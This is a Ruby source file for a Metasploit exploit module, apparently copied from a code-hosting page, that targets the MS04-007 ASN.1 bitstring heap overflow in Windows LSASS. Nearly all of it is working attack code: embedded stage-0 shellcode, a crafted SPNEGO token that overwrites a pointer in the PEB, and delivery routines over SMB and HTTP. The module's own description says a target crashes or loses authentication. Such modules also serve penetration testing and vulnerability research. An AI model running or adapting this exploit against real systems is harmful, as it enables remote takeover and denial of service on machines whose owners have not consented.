244 lines
7.2 KiB
Ruby
244 lines
7.2 KiB
Ruby
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Windows::Smb::MS04_007_ASN1_KILLBILL < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::SMB
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft ASN.1 Library Bitstring Heap Overflow',
|
|
'Description' => %q{
|
|
This is an exploit for a previously undisclosed
|
|
vulnerability in the bit string decoding code in the
|
|
Microsoft ASN.1 library. This vulnerability is not related
|
|
to the bit string vulnerability described in eEye advisory
|
|
AD20040210-2. Both vulnerabilities were fixed in the
|
|
MS04-007 patch.
|
|
|
|
You are only allowed one attempt with this vulnerability. If
|
|
the payload fails to execute, the LSASS system service will
|
|
crash and the target system will automatically reboot itself
|
|
in 60 seconds. If the payload succeeeds, the system will no
|
|
longer be able to process authentication requests, denying
|
|
all attempts to login through SMB or at the console. A
|
|
reboot is required to restore proper functioning of an
|
|
exploited system.
|
|
|
|
This exploit has been successfully tested with the win32/*/reverse_tcp
|
|
payloads, however a few problems were encounted when using the
|
|
equivalent bind payloads. Your mileage may vary.
|
|
|
|
},
|
|
'Author' => [ 'Solar Eclipse <solareclipse@phreedom.org>' ],
|
|
'License' => [ 'gplv2' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.phreedom.org/solar/exploits/msasn1-bitstring/'],
|
|
[ 'MSB', 'MS04-007'],
|
|
[ 'CVE', '2003-0818'],
|
|
[ 'MIL', '40'],
|
|
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows 2000 SP2-SP4 + Windows XP SP0-SP1', # Tested OK - 11/25/2005 hdm (bind failed)
|
|
{
|
|
'Platform' => 'win',
|
|
},
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Feb 10 2004',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('PROTO', [ true, "Which protocol to use: http or smb", 'smb']),
|
|
], self.class)
|
|
end
|
|
|
|
# This is a straight port of Solar Eclipse's "kill-bill" exploit, published
|
|
# as a Metasploit Framework module with his permission. This module is only
|
|
# licensed under GPLv2, keep this in mind if you embed the Framework into
|
|
# a non-GPL application. -hdm[at]metasploit.com
|
|
|
|
def exploit
|
|
|
|
# The first stage shellcode fixes the PEB pointer and cleans the heap
|
|
stage0 =
|
|
"\x53\x56\x57\x66\x81\xec\x80\x00\x89\xe6\xe8\xed\x00\x00\x00\xff"+
|
|
"\x36\x68\x09\x12\xd6\x63\xe8\xf7\x00\x00\x00\x89\x46\x08\xe8\xa2"+
|
|
"\x00\x00\x00\xff\x76\x04\x68\x6b\xd0\x2b\xca\xe8\xe2\x00\x00\x00"+
|
|
"\x89\x46\x0c\xe8\x3f\x00\x00\x00\xff\x76\x04\x68\xfa\x97\x02\x4c"+
|
|
"\xe8\xcd\x00\x00\x00\x31\xdb\x68\x10\x04\x00\x00\x53\xff\xd0\x89"+
|
|
"\xc3\x56\x8b\x76\x10\x89\xc7\xb9\x10\x04\x00\x00\xf3\xa4\x5e\x31"+
|
|
"\xc0\x50\x50\x50\x53\x50\x50\xff\x56\x0c\x8b\x46\x08\x66\x81\xc4"+
|
|
"\x80\x00\x5f\x5e\x5b\xff\xe0\x60\xe8\x23\x00\x00\x00\x8b\x44\x24"+
|
|
"\x0c\x8d\x58\x7c\x83\x43\x3c\x05\x81\x43\x28\x00\x10\x00\x00\x81"+
|
|
"\x63\x28\x00\xf0\xff\xff\x8b\x04\x24\x83\xc4\x14\x50\x31\xc0\xc3"+
|
|
"\x31\xd2\x64\xff\x32\x64\x89\x22\x31\xdb\xb8\x90\x42\x90\x42\x31"+
|
|
"\xc9\xb1\x02\x89\xdf\xf3\xaf\x74\x03\x43\xeb\xf3\x89\x7e\x10\x64"+
|
|
"\x8f\x02\x58\x61\xc3\x60\xbf\x20\xf0\xfd\x7f\x8b\x1f\x8b\x46\x08"+
|
|
"\x89\x07\x8b\x7f\xf8\x81\xc7\x78\x01\x00\x00\x89\xf9\x39\x19\x74"+
|
|
"\x04\x8b\x09\xeb\xf8\x89\xfa\x39\x5a\x04\x74\x05\x8b\x52\x04\xeb"+
|
|
"\xf6\x89\x11\x89\x4a\x04\xc6\x43\xfd\x01\x61\xc3\xa1\x0c\xf0\xfd"+
|
|
"\x7f\x8b\x40\x1c\x8b\x58\x08\x89\x1e\x8b\x00\x8b\x40\x08\x89\x46"+
|
|
"\x04\xc3\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea"+
|
|
"\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x38\x49\x8b\x34\x8b\x01\xee"+
|
|
"\x31\xff\x31\xc0\xfc\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb"+
|
|
"\xf4\x3b\x7c\x24\x24\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b"+
|
|
"\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2"+
|
|
"\x08\x00\xeb\xfe"
|
|
|
|
token = spnego_token(stage0, payload.encoded)
|
|
|
|
case datastore['PROTO']
|
|
when 'smb'
|
|
exploit_smb(token)
|
|
when 'http'
|
|
exploit_http(token)
|
|
else
|
|
print_status("Invalid application protocol specified, use smb or http")
|
|
end
|
|
end
|
|
|
|
|
|
def exploit_smb(token)
|
|
connect
|
|
|
|
client = Rex::Proto::SMB::Client.new(sock)
|
|
|
|
begin
|
|
client.session_request(smb_hostname()) if not datastore['SMBDirect']
|
|
client.negotiate
|
|
client.session_setup_ntlmv2_blob(token)
|
|
rescue => e
|
|
if (e.to_s =~ /error code 0x00050001/)
|
|
print_status("The target system has already been exploited")
|
|
else
|
|
print_status("Error: #{e.to_s}")
|
|
end
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
def exploit_http(token)
|
|
connect
|
|
|
|
req = "GET / HTTP/1.0\r\n"
|
|
req << "Host: #{ datastore['RHOST']}\r\n"
|
|
req << "Authorization: Negotiate #{Rex::Text.encode_base64(token, '')}\r\n\r\n"
|
|
|
|
sock.put(req)
|
|
res = sock.get_once
|
|
|
|
if (res and res =~ /0x80090301/)
|
|
print_status("This server does not support the Negotiate protocol or has already been exploited")
|
|
end
|
|
|
|
if (res and res =~ /0x80090304/)
|
|
print_status("This server responded with error code 0x80090304 (wth?)")
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
|
|
# Returns an ASN.1 encoded string
|
|
def enc_asn1(str)
|
|
Rex::Proto::SMB::Utils::asn1encode(str)
|
|
end
|
|
|
|
# Returns an ASN.1 encoded bit string with 0 unused bits
|
|
def enc_bits(str)
|
|
"\x03" + enc_asn1("\x00" + str)
|
|
end
|
|
|
|
# Returns a BER encoded constructed bit string
|
|
def enc_constr(*str_arr)
|
|
"\x23" + enc_asn1(str_arr.join(''))
|
|
end
|
|
|
|
# Returns a BER encoded SPNEGO token
|
|
def spnego_token(stage0, stage1)
|
|
|
|
if (not (stage0 and stage1))
|
|
print_status("Invalid parameters passed to spnego_token")
|
|
return
|
|
end
|
|
|
|
if (stage0.length > 1032)
|
|
print_status("The stage 0 shellcode is longer than 1032 bytes")
|
|
return
|
|
end
|
|
|
|
tag = "\x90\x42\x90\x42\x90\x42\x90\x42"
|
|
|
|
if ((tag.length + stage1.length) > 1033)
|
|
print_status("The stage 1 shellcode is too long")
|
|
return
|
|
end
|
|
|
|
|
|
# The first two overwrites must succeed, so we write to an unused location
|
|
# in the PEB block. We don't care about the values, because after this the
|
|
# doubly linked list of free blocks is corrupted and we get to the second
|
|
# overwrite which is more useful.
|
|
|
|
fw = "\xf8\x0f\x01\x00" # 0x00010ff8
|
|
bk = "\xf8\x0f\x01"
|
|
|
|
# The second overwrite writes the address of our shellcode into the
|
|
# FastPebLockRoutine pointer in the PEB
|
|
|
|
peblock = "\x20\xf0\xfd\x7f" # FastPebLockRoutine in PEB
|
|
|
|
bitstring = enc_constr(
|
|
enc_bits("A" * 1024),
|
|
"\x03\x00",
|
|
enc_constr(
|
|
enc_bits(tag + stage1 + ("B" * (1033-(tag+stage1).length))),
|
|
enc_constr( enc_bits(fw + bk) ),
|
|
enc_constr(
|
|
enc_bits("CCCC" + peblock + stage0 + ("C" * (1032-stage0.length))),
|
|
enc_constr(
|
|
enc_bits("\xeb\x06" + make_nops(6)),
|
|
enc_bits("D" * 1040)
|
|
)
|
|
)
|
|
)
|
|
)
|
|
|
|
token = "\x60" + enc_asn1( # Application Constructed Object
|
|
"\x06\x06\x2b\x06\x01\x05\x05\x02" + # SPNEGO OID
|
|
"\xa0" + enc_asn1( # NegTokenInit (0xa0)
|
|
"\x30" + enc_asn1(
|
|
"\xa1" + enc_asn1(
|
|
bitstring
|
|
)
|
|
)
|
|
)
|
|
)
|
|
|
|
return token
|
|
end
|
|
|
|
end
|
|
end
|